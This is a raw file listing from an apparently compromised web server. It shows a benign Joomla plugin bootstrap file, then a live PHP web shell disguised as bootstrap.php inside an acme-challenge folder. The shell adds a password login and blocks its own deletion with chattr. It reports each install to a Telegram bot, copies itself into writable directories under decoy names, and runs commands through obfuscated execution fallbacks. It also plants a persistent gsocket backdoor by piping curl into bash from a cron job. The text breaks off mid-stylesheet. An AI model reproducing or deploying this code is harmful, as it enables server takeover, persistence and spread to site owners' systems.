Your IP : 216.73.216.11
home/digilove/public_html/plugins/system/jch_optimize/bootstrap.php 0000644 00000002642 15234567325 0022037 0 ustar 00 <?php
/**
* JCH Optimize - Joomla! plugin to aggregate and minify external resources for
* optmized downloads
* @author Samuel Marshall <sdmarshall73@gmail.com>
* @copyright Copyright (c) 2010 Samuel Marshall. All rights reserved.
* @license GNU/GPLv3, See LICENSE file
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* If LICENSE file missing, see <http://www.gnu.org/licenses/>.
*
* This plugin includes other copyrighted works. See individual
* files for details.
*/
//$start = microtime(true);
define('_JEXEC', 1);
$DIR = dirname(dirname(dirname(dirname(__FILE__))));
if (file_exists($DIR . '/defines.php'))
{
include_once $DIR . '/defines.php';
}
if (!defined('_JDEFINES'))
{
define('JPATH_BASE', $DIR);
require_once JPATH_BASE . '/includes/defines.php';
}
require_once JPATH_BASE . '/includes/framework.php';
require_once JPATH_PLUGINS . '/system/jch_optimize/jchoptimize/loader.php';
home/digilove/public_html/110/.well-known/acme-challenge/bootstrap.php 0000644 00000506142 15235271106 0021641 0 ustar 00 <?php
session_start();
function base64_decode_safe($data) {
return base64_decode($data);
}
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
// Rate limiting untuk mencegah brute force
if (!isset($_SESSION['login_attempts'])) {
$_SESSION['login_attempts'] = 0;
$_SESSION['first_attempt_time'] = time();
}
$max_attempts = 5;
$lockout_time = 900; // 15 menit
if ($_SESSION['login_attempts'] >= $max_attempts) {
$time_passed = time() - $_SESSION['first_attempt_time'];
if ($time_passed < $lockout_time) {
$remaining = $lockout_time - $time_passed;
$minutes = ceil($remaining / 60);
die("<html><body style='background:#000;color:#f00;font-family:monospace;padding:50px;'>
<h2>⚠️ ACCESS LOCKED</h2>
<p>Too many failed attempts. Try again in $minutes minutes.</p>
</body></html>");
} else {
$_SESSION['login_attempts'] = 0;
}
}
// Cek login
if (!isset($_SESSION['webshell_logged_in'])) {
if (isset($_POST['username']) && isset($_POST['password'])) {
$_SESSION['login_attempts']++;
if ($_SESSION['login_attempts'] == 1) {
$_SESSION['first_attempt_time'] = time();
}
usleep(500000); // Delay 0.5 detik
$VALID_USERNAME = base64_decode_safe('ZmF5c2hpaHVhbmc=');
$VALID_PASSWORD_HASH = '6d50207254cc7548e80508abcdd8483affcf34ceef307f171eb6cdec21397da3';
$input_hash = hash('sha256', $_POST['password']);
if ($_POST['username'] === $VALID_USERNAME &&
hash_equals($VALID_PASSWORD_HASH, $input_hash)) {
$_SESSION['webshell_logged_in'] = true;
session_regenerate_id(true);
unset($_SESSION['login_attempts']);
unset($_SESSION['first_attempt_time']);
header('Location: ' . $_SERVER['REQUEST_URI']);
exit;
} else {
$login_error = "Access Denied! Attempt " . $_SESSION['login_attempts'] . "/$max_attempts";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>⚡ HACKED BY FAYSHIHUANG - SECURE ACCESS</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
@import url('https://fonts.googleapis.com/css2?family=Share+Tech+Mono&display=swap');
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background: #0a061a;
font-family: 'Share Tech Mono', monospace;
height: 100vh;
overflow: hidden;
position: relative;
}
#matrix-canvas {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
pointer-events: none;
opacity: 0.12;
}
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: radial-gradient(circle at 50% 50%, rgba(10,6,26,0.7) 0%, rgba(5,3,15,0.9) 100%);
z-index: 2;
pointer-events: none;
}
.login-container {
position: relative;
z-index: 3;
height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
}
.login-card {
background: rgba(15, 8, 30, 0.75);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(168, 85, 247, 0.3);
border-radius: 20px;
padding: 40px;
width: 100%;
max-width: 400px;
box-shadow: 0 0 50px rgba(168, 85, 247, 0.2),
inset 0 0 30px rgba(168, 85, 247, 0.05);
position: relative;
overflow: hidden;
}
.login-card::before {
content: '';
position: absolute;
top: -2px;
left: -2px;
right: -2px;
bottom: -2px;
background: linear-gradient(45deg,
transparent 30%,
rgba(168, 85, 247, 0.3) 50%,
transparent 70%);
border-radius: 22px;
z-index: -1;
animation: borderGlow 8s linear infinite;
background-size: 250% 250%;
}
@keyframes borderGlow {
0% { background-position: 0% 0%; }
50% { background-position: 100% 100%; }
100% { background-position: 0% 0%; }
}
.logo {
text-align: center;
margin-bottom: 30px;
}
.logo h1 {
color: #c084fc;
font-size: 28px;
letter-spacing: 4px;
text-shadow: 0 0 20px #c084fc;
margin-bottom: 10px;
position: relative;
display: inline-block;
}
.logo h1::before {
content: '⟨';
position: absolute;
left: -25px;
color: #c084fc;
opacity: 0.7;
animation: pulse 2s infinite;
}
.logo h1::after {
content: '⟩';
position: absolute;
right: -25px;
color: #c084fc;
opacity: 0.7;
animation: pulse 2s infinite;
}
@keyframes pulse {
0%, 100% { opacity: 0.3; }
50% { opacity: 1; }
}
.subtitle {
color: #c084fc;
font-size: 12px;
letter-spacing: 3px;
text-transform: uppercase;
opacity: 0.6;
}
.status-line {
background: rgba(168, 85, 247, 0.05);
border: 1px solid rgba(168, 85, 247, 0.2);
border-radius: 30px;
padding: 8px 15px;
margin-bottom: 30px;
display: flex;
justify-content: space-between;
align-items: center;
font-size: 11px;
color: #c084fc;
letter-spacing: 1px;
}
.status-dot {
width: 8px;
height: 8px;
background: #a855f7;
border-radius: 50%;
display: inline-block;
margin-right: 5px;
animation: blink 1s infinite;
}
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0.3; }
}
.form-group {
margin-bottom: 20px;
position: relative;
}
.form-group label {
display: block;
color: #c084fc;
font-size: 11px;
letter-spacing: 2px;
margin-bottom: 8px;
text-transform: uppercase;
opacity: 0.8;
}
.form-group input {
width: 100%;
padding: 15px;
background: rgba(20, 5, 40, 0.5);
border: 1px solid rgba(168, 85, 247, 0.3);
border-radius: 8px;
color: #e0aaff;
font-family: 'Share Tech Mono', monospace;
font-size: 14px;
transition: all 0.3s ease;
outline: none;
}
.form-group input:focus {
border-color: #c084fc;
box-shadow: 0 0 20px rgba(168, 85, 247, 0.3);
background: rgba(30, 10, 55, 0.5);
}
.form-group input::placeholder {
color: rgba(168, 85, 247, 0.2);
font-style: italic;
}
.password-toggle {
position: absolute;
right: 15px;
bottom: 15px;
color: rgba(168, 85, 247, 0.5);
cursor: pointer;
font-size: 14px;
user-select: none;
}
.password-toggle:hover {
color: #c084fc;
}
.login-btn {
width: 100%;
padding: 15px;
background: transparent;
border: 2px solid #a855f7;
color: #c084fc;
font-family: 'Share Tech Mono', monospace;
font-size: 16px;
font-weight: bold;
text-transform: uppercase;
letter-spacing: 4px;
cursor: pointer;
transition: all 0.3s ease;
margin-top: 20px;
border-radius: 8px;
position: relative;
overflow: hidden;
}
.login-btn:hover {
background: #a855f7;
color: #0a061a;
box-shadow: 0 0 30px #a855f7;
}
.login-btn::before {
content: '';
position: absolute;
top: 0;
left: -100%;
width: 100%;
height: 100%;
background: linear-gradient(90deg, transparent, rgba(168, 85, 247, 0.3), transparent);
transition: left 0.5s ease;
}
.login-btn:hover::before {
left: 100%;
}
.error-message {
background: rgba(255, 0, 0, 0.1);
border: 1px solid #f00;
color: #f00;
padding: 12px;
border-radius: 8px;
margin-top: 20px;
text-align: center;
font-size: 13px;
animation: shake 0.5s ease;
}
@keyframes shake {
0%, 100% { transform: translateX(0); }
10%, 30%, 50%, 70%, 90% { transform: translateX(-5px); }
20%, 40%, 60%, 80% { transform: translateX(5px); }
}
.footer {
margin-top: 30px;
text-align: center;
color: rgba(168, 85, 247, 0.3);
font-size: 11px;
letter-spacing: 1px;
}
.footer a {
color: rgba(168, 85, 247, 0.5);
text-decoration: none;
transition: color 0.3s;
}
.footer a:hover {
color: #c084fc;
}
.cursor {
display: inline-block;
width: 8px;
height: 16px;
background: #a855f7;
animation: cursorBlink 1s infinite;
margin-left: 5px;
vertical-align: middle;
}
@keyframes cursorBlink {
0%, 50% { opacity: 1; }
51%, 100% { opacity: 0; }
}
.info-text {
text-align: center;
margin-top: 15px;
color: rgba(168, 85, 247, 0.2);
font-size: 10px;
}
@media (max-width: 480px) {
.login-card {
padding: 25px;
}
.logo h1 {
font-size: 22px;
}
.logo h1::before,
.logo h1::after {
display: none;
}
}
</style>
</head>
<body>
<canvas id="matrix-canvas"></canvas>
<div class="overlay"></div>
<div class="login-container">
<div class="login-card">
<div class="logo">
<h1>FAYSHIHUANG</h1>
<div class="subtitle">SECURE TERMINAL v4.0</div>
</div>
<div class="status-line">
<span><span class="status-dot"></span> SYSTEM READY</span>
<span>⚡ SHA-256 + BASE64</span>
</div>
<form method="post">
<div class="form-group">
<label>> USERNAME</label>
<input type="text" name="username" placeholder="Enter username" autocomplete="off" autofocus>
</div>
<div class="form-group">
<label>> PASSWORD</label>
<input type="password" name="password" id="password" placeholder="********">
<span class="password-toggle" onclick="togglePassword()">👁️</span>
</div>
<button type="submit" class="login-btn">[ AUTHENTICATE ]</button>
<?php if (isset($login_error)): ?>
<div class="error-message">
⚠️ <?= $login_error ?>
</div>
<?php endif; ?>
</form>
<div class="footer">
<span id="datetime"></span> <span class="cursor"></span>
</div>
<div class="info-text">
⚡ UNAUTHORIZED ACCESS IS PROHIBITED ⚡
</div>
</div>
</div>
<script>
const canvas = document.getElementById('matrix-canvas');
const ctx = canvas.getContext('2d');
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
const chars = '01アイウエオカキクケコサシスセソタチツテトナニヌネノハヒフヘホマミムメモヤユヨラリルレロワヲン';
const charArray = chars.split('');
const fontSize = 14;
const columns = canvas.width / fontSize;
const drops = [];
for (let i = 0; i < columns; i++) {
drops[i] = Math.floor(Math.random() * -canvas.height);
}
function drawMatrix() {
ctx.fillStyle = 'rgba(10, 6, 26, 0.05)';
ctx.fillRect(0, 0, canvas.width, canvas.height);
ctx.fillStyle = 'rgba(168, 85, 247, 0.12)';
ctx.font = fontSize + 'px monospace';
for (let i = 0; i < drops.length; i++) {
const text = charArray[Math.floor(Math.random() * charArray.length)];
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
if (drops[i] * fontSize > canvas.height && Math.random() > 0.975) {
drops[i] = 0;
}
drops[i]++;
}
}
setInterval(drawMatrix, 50);
window.addEventListener('resize', function() {
canvas.width = window.innerWidth;
canvas.height = window.innerHeight;
});
function togglePassword() {
const passwordInput = document.getElementById('password');
passwordInput.type = passwordInput.type === 'password' ? 'text' : 'password';
}
function updateDateTime() {
const now = new Date();
document.getElementById('datetime').innerHTML = now.toLocaleString('en-US', {
year: 'numeric', month: '2-digit', day: '2-digit',
hour: '2-digit', minute: '2-digit', second: '2-digit', hour12: false
});
}
updateDateTime();
setInterval(updateDateTime, 1000);
</script>
</body>
</html>
<?php
exit;
}
$logout_link = '<div style="position:fixed; top:10px; right:10px; z-index:9999; background:rgba(255,0,0,0.2); border:1px solid #f00; border-radius:5px; padding:5px 10px; backdrop-filter:blur(5px);">
<a href="?logout" style="color:#f00; text-decoration:none; font-size:12px; letter-spacing:1px;">⏻ LOGOUT</a>
</div>';
echo $logout_link;
@set_time_limit(0);
@error_reporting(0);
session_start();
// Anti-Delete Protection
if (!function_exists('vanta_protect_shell')) {
function vanta_protect_shell() {
$file = __FILE__;
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
@exec("icacls \"$file\" /deny Everyone:(D)");
} else {
@exec("chattr +i \"$file\"");
@exec("chattr +a \"$file\"");
if (is_writable($file)) {
@chmod($file, 0444);
}
}
}
}
vanta_protect_shell();
$TELEGRAM_BOT = base64_decode('ODYzMDkzMDc3NzpBQUZyNWdhMXlEZGhSSE1rVmExd210YzJhcWY5amx6SFp6cw==');
$TELEGRAM_CHAT = base64_decode('LTEwMDM3NjA3NDE3MDc=');
$notif_file = __DIR__ . '/.vanta_notified';
if (!file_exists($notif_file)) {
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown P';
$host = $_SERVER['HTTP_HOST'] ?? 'Unknown Host';
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$host$_SERVER[REQUEST_URI]";
$msg = "📌 <b>FAYSHIHUANG SHELL UPLOADED!</b> 📌\n\n";
$msg .= "📍 <b>Host:</b> $host\n";
$msg .= "🔗 <b>URL:</b> $url\n";
$msg .= "🌐 <b>IP:</b> $ip\n";
$msg .= "🕒 <b>Time:</b> " . date('Y-m-d H:i:s');
$url_api = "https://api.telegram.org/bot{$TELEGRAM_BOT}/sendMessage";
$data = ['chat_id' => $TELEGRAM_CHAT, 'text' => $msg, 'parse_mode' => 'HTML'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url_api);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_exec($ch);
curl_close($ch);
@file_put_contents($notif_file, 'notified');
}
$MAX_SPREAD = 30;
$SPREAD_DEPTH = 3;
$RANDOM_NAMES = [
'vanta.php', 'wp-pass.php', 'wp-loadss.php', 'cachess.php', 'error_logss.php',
'debugs.php', 'tmps.php', 'backups.php', 'configs.php.bak', 'settingss.php',
'admins.php', 'logins.php', 'index-old.php', 'wp-admins.php', 'cores.php',
'systems.php', 'loader.php', 'inits.php', 'bootstrap.php', 'autoloads.php',
'xmlrpcs.php', 'wp-signups.php', 'wp-activates.php', 'wp-comments-posts.php',
'wp-trackbacks.php', 'footers.php', 'headers.php', 'sidebars.php', 'functions.php',
'themess.php', 'pluginss.php', 'widgets.php', 'shortcodes.php', 'customs.php'
];
function sendTelegram($message) {
global $TELEGRAM_BOT, $TELEGRAM_CHAT;
$url = "https://api.telegram.org/bot{$TELEGRAM_BOT}/sendMessage";
$data = [
'chat_id' => $TELEGRAM_CHAT,
'text' => $message,
'parse_mode' => 'HTML'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);
return true;
}
function getAllWritableDirs($start_dir, $max_depth = 3, $current_depth = 0) {
$dirs = [];
if ($current_depth > $max_depth) {
return $dirs;
}
$start_dir = str_replace('\\', '/', $start_dir);
if (!is_dir($start_dir)) {
return $dirs;
}
try {
$items = scandir($start_dir);
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $start_dir . '/' . $item;
if (is_dir($path)) {
if (is_writable($path)) {
$dirs[] = $path;
}
$subdirs = getAllWritableDirs($path, $max_depth, $current_depth + 1);
$dirs = array_merge($dirs, $subdirs);
}
}
} catch (Exception $e) {}
return $dirs;
}
function copySelfToDir($target_dir, $source_file) {
global $RANDOM_NAMES;
$random_name = $RANDOM_NAMES[array_rand($RANDOM_NAMES)];
$target_dir = str_replace('\\', '/', $target_dir);
$target_path = $target_dir . '/' . $random_name;
if (file_exists($target_path)) {
return ['success' => false, 'reason' => 'already_exists'];
}
$content = file_get_contents($source_file);
if (!$content) {
return ['success' => false, 'reason' => 'cannot_read_self'];
}
if (file_put_contents($target_path, $content) !== false) {
chmod($target_path, 0644);
return [
'success' => true,
'path' => $target_path,
'filename' => $random_name
];
}
return ['success' => false, 'reason' => 'write_failed'];
}
function pathToUrl($path, $base_path, $base_url) {
$path = str_replace('\\', '/', $path);
$base = str_replace('\\', '/', $base_path);
if (strpos($path, $base) === 0) {
$relative = substr($path, strlen($base));
return rtrim($base_url, '/') . '/' . ltrim($relative, '/');
}
return false;
}
function doSpread() {
global $MAX_SPREAD, $SPREAD_DEPTH;
$BASE_PATH = dirname($_SERVER['SCRIPT_FILENAME']);
$BASE_URL = dirname((isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME']);
$SELF_FILE = $_SERVER['SCRIPT_FILENAME'];
$result = [
'success' => 0,
'already' => 0,
'failed' => 0,
'files' => []
];
sendTelegram("🚀 <b>SPREAD DIMULAI</b>\nServer: {$_SERVER['HTTP_HOST']}\nFile: " . basename($SELF_FILE));
$writable_dirs = getAllWritableDirs($BASE_PATH, $SPREAD_DEPTH);
$total_dirs = count($writable_dirs);
$dirs_to_process = array_slice($writable_dirs, 0, $MAX_SPREAD);
foreach ($dirs_to_process as $dir) {
$copy_result = copySelfToDir($dir, $SELF_FILE);
if ($copy_result['success']) {
$result['success']++;
$url = pathToUrl($copy_result['path'], $BASE_PATH, $BASE_URL);
if ($url) {
$result['files'][] = $url;
if ($result['success'] % 5 == 0) {
sendTelegram("📌 <b>PROGRESS SPREAD</b>\nSudah: {$result['success']}/" . count($dirs_to_process) . "\nContoh: {$url}");
}
}
} else {
if ($copy_result['reason'] == 'already_exists') {
$result['already']++;
} else {
$result['failed']++;
}
}
usleep(50000);
}
$summary = "📊 <b>SPREAD SELESAI</b>\n\n";
$summary .= "📍 Server: {$_SERVER['HTTP_HOST']}\n";
$summary .= "📁 Total dir: {$total_dirs}\n";
$summary .= "📊 Diproses: " . count($dirs_to_process) . "\n";
$summary .= "✅ Berhasil: {$result['success']}\n";
$summary .= "⏩ Sudah ada: {$result['already']}\n";
$summary .= "❌ Gagal: {$result['failed']}\n\n";
if ($result['success'] > 0) {
$summary .= "<b>Sample URLs (5 pertama):</b>\n";
foreach (array_slice($result['files'], 0, 5) as $url) {
$summary .= "• <code>{$url}</code>\n";
}
if ($result['success'] > 5) {
$summary .= "• ... dan " . ($result['success'] - 5) . " lainnya\n";
}
}
sendTelegram($summary);
return $result;
}
?>
<?php
@set_time_limit(0);
@clearstatcache();
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('output_buffering', 0);
@ini_set('display_errors', 0);
$VANTAarr = ['676574637764', '676c6f62', '69735f646972', '69735f66696c65', '69735f7772697461626c65', '69735f7265616461626c65', '66696c657065726d73', '66696c65', '7068705f756e616d65', '6765745f63757272656e745f75736572', '68746d6c7370656369616c6368617273', '66696c655f6765745f636f6e74656e7473', '6d6b646972', '746f756368', '6368646972', '72656e616d65', '65786563', '7061737374687275', '73797374656d', '7368656c6c5f65786563', '706f70656e', '70636c6f7365', '73747265616d5f6765745f636f6e74656e7473', '70726f635f6f70656e', '756e6c696e6b', '726d646972', '666f70656e', '66636c6f7365', '66696c655f7075745f636f6e74656e7473', '6d6f76655f75706c6f616465645f66696c65', '63686d6f64', '7379735f6765745f74656d705f646972', '6261736536345F6465636F6465', '6261736536345F656E636F6465', '636f7079'];
$VANTA67 = count($VANTAarr); for ($i = 0; $i< $VANTA67; $i++) { $VANTAxas[] = unx($VANTAarr[$i]);}
if (!function_exists('_vnt_str')) { function _vnt_str($arr) { $r = ''; foreach ($arr as $n) $r .= chr($n); return $r; }}
function v4nt4C($pr1VANTA) { $fn = []; $fn[] = chDxzZ([115,104,101,108,108,95,101,120,101,99]); $fn[] = chDxzZ('101,120,101,99'); $fn[] = chDxXZ('73797374656d'); $fn[] = chDxzZ('112,97,115,115,116,104,114,117'); $fn[] = chDxXZ('70726f635f6f70656e'); $fn[] = chDxzZ([112,111,112,101,110]); $fn[] = chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100]); $fn[] = chDxXZ('6573636170657368656c6c617267'); $fn[] = chDxzZ([99,117,114,108,95,101,120,101,99]); $fn[] = chDxzZ('109,97,105,108'); $fn[] = chDxXZ('63616c6c5f757365725f66756e63'); $fn[] = chDxzZ('102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115'); $fn[] = chDxzZ('102,111,112,101,110'); $fn[] = chDxzZ('102,119,114,105,116,101'); $fn[] = chDxzZ('102,99,108,111,115,101'); $fn[] = chDxzZ('112,117,116,101,110,118'); $fn[] = chDxzZ('105,110,105,95,115,101,116'); $fn[] = chDxzZ([112,99,110,116,108,95,101,120,101,99]); $fn[] = chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118]); $fn[] = chDxzZ([109,113,95,111,112,101,110]); $fn[] = chDxzZ([103,99,95,111,112,101,110]); $out = false; for ($i = 0; $i< count($fn); $i++) { $f = $fn[$i]; if (!function_exists($f)) continue; if ($f === chDxzZ([115,104,101,108,108,95,101,120,101,99])) { $out = @$f($pr1VANTA); if (!empty($out)) break; } elseif ($f === chDxzZ('101,120,101,99')) { $lines = []; @$f($pr1VANTA, $lines); $out = join("\n", $lines); if (!empty($out)) break; } elseif ($f === chDxXZ('73797374656d')) { ob_start(); @$f($pr1VANTA); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxzZ('112,97,115,115,116,104,114,117')) { ob_start(); @$f($pr1VANTA); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('70726f635f6f70656e')) { $d = [1=>["pipe","w"],2=>["pipe","w"]]; $p = @$f($pr1VANTA, $d, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (!empty($out)) break; } } elseif ($f === chDxzZ([112,111,112,101,110])) { $h = @$f($pr1VANTA . " 2>&1", "r"); $res = ""; if ($h) { while (!feof($h)) $res .= fread($h, 4096); pclose($h); } if (strlen($res)) { $out = $res; break; } } elseif ($f === chDxzZ([101,115,99,97,112,101,115,104,101,108,108,99,109,100])) { $esc = $f($pr1VANTA); ob_start(); @system($esc); $out = ob_get_clean(); if (!empty($out)) break; } elseif ($f === chDxXZ('6573636170657368656c6c617267')) { $esc = $f($pr1VANTA); $out = @chDx2x($esc); if (!empty($out)) break; } elseif ($f === chDxzZ([99,117,114,108,95,101,120,101,99])) { $ch = @curl_init('file:///proc/self/cmdline'); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($ch, CURLOPT_POSTFIELDS, $pr1VANTA); $r = @curl_exec($ch); @curl_close($ch); if ($r && strpos($r, $pr1VANTA) !== false) { $out = $r; break; } } elseif ($f === chDxzZ('109,97,105,108')) { $to = uniqid()."@".uniqid().".xyz"; @mail($to, $pr1VANTA, $pr1VANTA); $out = ""; } elseif ($f === chDxXZ('63616c6c5f757365725f66756e63')) { $shellfunc = chDxzZ([115,104,101,108,108,95,101,120,101,99]); if (function_exists($shellfunc)) { $out = @call_user_func($shellfunc, $pr1VANTA); if (!empty($out)) break; }} elseif ($f === chDxzZ('102,105,108,101,95,103,101,116,95,99,111,110,116,101,110,116,115')) { $r = @$f("php://filter/read=convert.base64-encode/resource=" . $pr1VANTA); if ($r && strlen($r) >0) { $out = $r; break; } } elseif ($f === chDxzZ('102,111,112,101,110')) { $tmpf = sys_get_temp_dir() . "/" . uniqid("s-cmd") . ".sh"; $h = @$f($tmpf, "w"); if ($h) { fwrite($h, $pr1VANTA); fclose($h); } $r = @chDx2x("sh " . escapeshellarg($tmpf) . " 2>&1"); if ($r) { $out = $r; @unlink($tmpf); break; } } elseif ($f === chDxzZ('112,117,116,101,110,118')) { @putenv("CMD=".$pr1VANTA); $r = @getenv("CMD"); if ($r == $pr1VANTA) { $out = $r; break; } } elseif ($f === chDxzZ('105,110,105,95,115,101,116')) { @ini_set("auto_prepend_file", $pr1VANTA); $out = @file_get_contents($_SERVER['SCRIPT_FILENAME']); if (!empty($out)) break; } elseif ($f === chDxzZ([112,99,110,116,108,95,101,120,101,99])) { @pcntl_exec("/bin/sh", array("-c", $pr1VANTA)); } elseif ($f === chDxzZ([97,112,97,99,104,101,95,115,101,116,101,110,118])) { @apache_setenv("CMD", $pr1VANTA); $out = getenv("CMD"); if ($out == $pr1VANTA) break; } elseif ($f === chDxzZ([109,113,95,111,112,101,110]) || $f === chDxzZ([103,99,95,111,112,101,110])) { } } return $out !== false ? $out : false;}if (!function_exists('chDxzZ')) { function chDxzZ($arr) { if (is_string($arr)) $arr = explode(',', $arr); $r = ''; foreach ($arr as $n) $r .= chr(is_numeric($n) ? $n : hexdec($n)); return $r; }}
if (!function_exists('prvdyzhsax')) { function prvdyzhsax($str) { $y = ''; for ($i = 0; $i< strlen($str); $i++) $y .= dechex(ord($str[$i])); return $y; }}
if (!function_exists('chDxXZ')) { function chDxXZ($hx) { $n = ''; for ($i = 0; $i< strlen($hx) - 1; $i += 2) $n .= chr(hexdec($hx[$i] . $hx[$i + 1])); return $n; }}
if (isset($_GET['VANTA'])) { $cdir = unx($_GET['VANTA']); if (@is_dir($cdir)) { $VANTAxas[14]($cdir); } else { } } else { $cdir = $VANTAxas[0](); }
function VANTAd0($file) { if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; }}
if (!empty($_GET['don'])) {$FilesDon = VANTAd0(unx($_GET['don']));}
// ===== GSOCKET LOGIC =====
$gsocket_result = null;
if (isset($_POST["action"]) && $_POST["action"] == "gsocket") {
$gpass = base64_decode("ZDMwMTIzcXdl");
$cmd = "export GSOCKET_ARGS=\"-s $gpass\"; bash -c \"\$(curl -fsSL https://gsocket.io/y)\" 2>&1";
$out = v4nt4C($cmd);
// Tanam Cronjob agar hidup terus (Linux Persistence)
$cronPayload = "export GSOCKET_ARGS=\"-s $gpass\"; bash -c \"\$(curl -fsSL https://gsocket.io/y)\" >/dev/null 2>&1";
v4nt4C("(crontab -l 2>/dev/null | grep -v gsocket; echo \"* * * * * $cronPayload\") | crontab -");
// Kirim notif ke telegram
$msg = "🌐 <b>GSOCKET INSTALLED & PERSISTENT!</b> 🌐\n\n";
$msg .= "📍 <b>Host:</b> " . $_SERVER["HTTP_HOST"] . "\n";
$msg .= "🔑 <b>Password:</b> " . $gpass . "\n";
$msg .= "🤖 <b>Auto-Restart:</b> Cronjob Installed✅\n";
$msg .= "💻 <b>Connect Command:</b>\n<code>$ gs-netcat -s " . $gpass . " -i</code>\n";
if ($out) $msg .= "\n<b>Log:</b>\n<pre>" . substr(htmlspecialchars($out), 0, 500) . "</pre>";
sendTelegram($msg);
$gsocket_result = true;
}
$spread_result = null;
if (isset($_POST['action']) && $_POST['action'] == 'spread') {
$spread_result = doSpread();
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<title>vantash3ll - <?= $_SERVER['SERVER_NAME']; ?></title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.6.0/css/all.min.css">
<style>
@import url(https://fonts.googleapis.com/css2?family=Recursive:wght@400;700&display=swap);:root{--bg:#0f0b1a;--panel:#17122a;--card:#1e1733;--accent:#c084fc;--accent2:#e0aaff;--accent3:#a855f7;--error:#fff;--success:#b97eff;--warn:#e879f9;--border:#3b2d5a;--badge:#1a1330;--text-main:#f0e6ff;--text-dim:#c4b5d4;--btn-hover:#2d1f4a;--table-alt:#1a1430;--table-hover:#2a1f45;--modal:#0d0a1a;--shadow:0 6px 30px #a855f715}body{background:var(--bg);color:var(--text-main);font-family:'Recursive',monospace;font-size:15px;margin:0;letter-spacing:.01em}a,a:visited{color:var(--accent2);text-decoration:none;transition:color .13s}a:hover{color:var(--accent);text-shadow:0 0 7px var(--accent)}.vanta-header,.vanta-header2-bar{background:var(--panel);border-bottom:1.5px solid var(--border);box-shadow:var(--shadow);padding:17px 3vw 13px;display:flex;align-items:center;justify-content:space-between;margin-right:54px}.vanta-logo2{display:flex;align-items:center;font-size:1.23em;gap:13px;font-family:'Recursive',monospace;font-weight:900;color:var(--accent2);letter-spacing:.12em;text-transform:uppercase;text-shadow:0 2px 16px #0008}.vanta-logo2-led{width:11px;height:11px;border-radius:50%;background:var(--accent2);box-shadow:0 0 9px var(--accent2)}.vanta-logo2-txt{color:var(--accent2);text-shadow:0 0 8px #c084fc44}.vanta-ver2{color:var(--accent);font-size:.85em;margin-left:3px}.vanta-logo2-dot{width:5px;height:5px;border-radius:50%;background:var(--error);margin-left:8px}.vanta-menu-grid{display:flex;flex-wrap:wrap;gap:8px;padding:0;margin:0;list-style:none}.vanta-chip{background:var(--badge);color:var(--accent2);font-family:'Recursive',monospace;padding:7px 15px;border-radius:7px;font-weight:700;border:1.2px solid var(--border);box-shadow:0 2px 10px #c084fc10;transition:background .15s,color .13s;display:flex;align-items:center;gap:8px;font-size:.94em}.vanta-chip:hover{background:var(--accent2);color:#1a0d2e;border-color:var(--accent2)}.v4nt4-lite-uname{font-size:.94em;color:var(--accent);background:var(--panel);border-bottom:2px solid var(--accent);border-top:2px solid var(--accent2);padding:10px 22px 10px;letter-spacing:.06em;display:flex;align-items:center;gap:13px;margin-bottom:10px;overflow-x:auto;border-radius:8px 8px 0 0;box-shadow:0 2px 12px #a855f709;text-shadow:0 0 6px 